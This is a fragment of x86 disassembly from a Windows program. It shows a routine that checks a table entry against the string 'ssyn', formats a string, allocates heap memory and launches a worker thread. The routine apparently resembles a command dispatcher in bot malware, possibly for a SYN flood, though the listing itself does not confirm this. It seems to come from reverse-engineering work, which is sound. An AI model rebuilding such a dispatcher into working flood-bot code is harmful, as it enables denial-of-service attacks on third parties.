lea eax, [esp + 0x118]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0
push 0
push esi
push 0xe33a20
jmp 0xe38048
mov ecx, dword [ebp + ebx*4]
push str.ssyn
push ecx
call esi
test eax, eax
jne 0xe38059
mov edx, dword [ebp + ebx*4 + 0xc]
mov eax, dword [ebp + ebx*4 + 8]
mov ecx, dword [ebp + ebx*4 + 4]
push edx
push eax
push ecx
push str._s_s_s
lea edx, [esp + 0x128]
push 0x7ff
push edx
call sub.ntdll.dll__snprintf
add esp, 0x18
lea eax, [esp + 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [0xe43a74]
inc eax
push eax
push 8
push ecx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0xe38059
lea edx, [esp + 0x118]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0
push 0
push esi
push 0xe33790
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x908
ret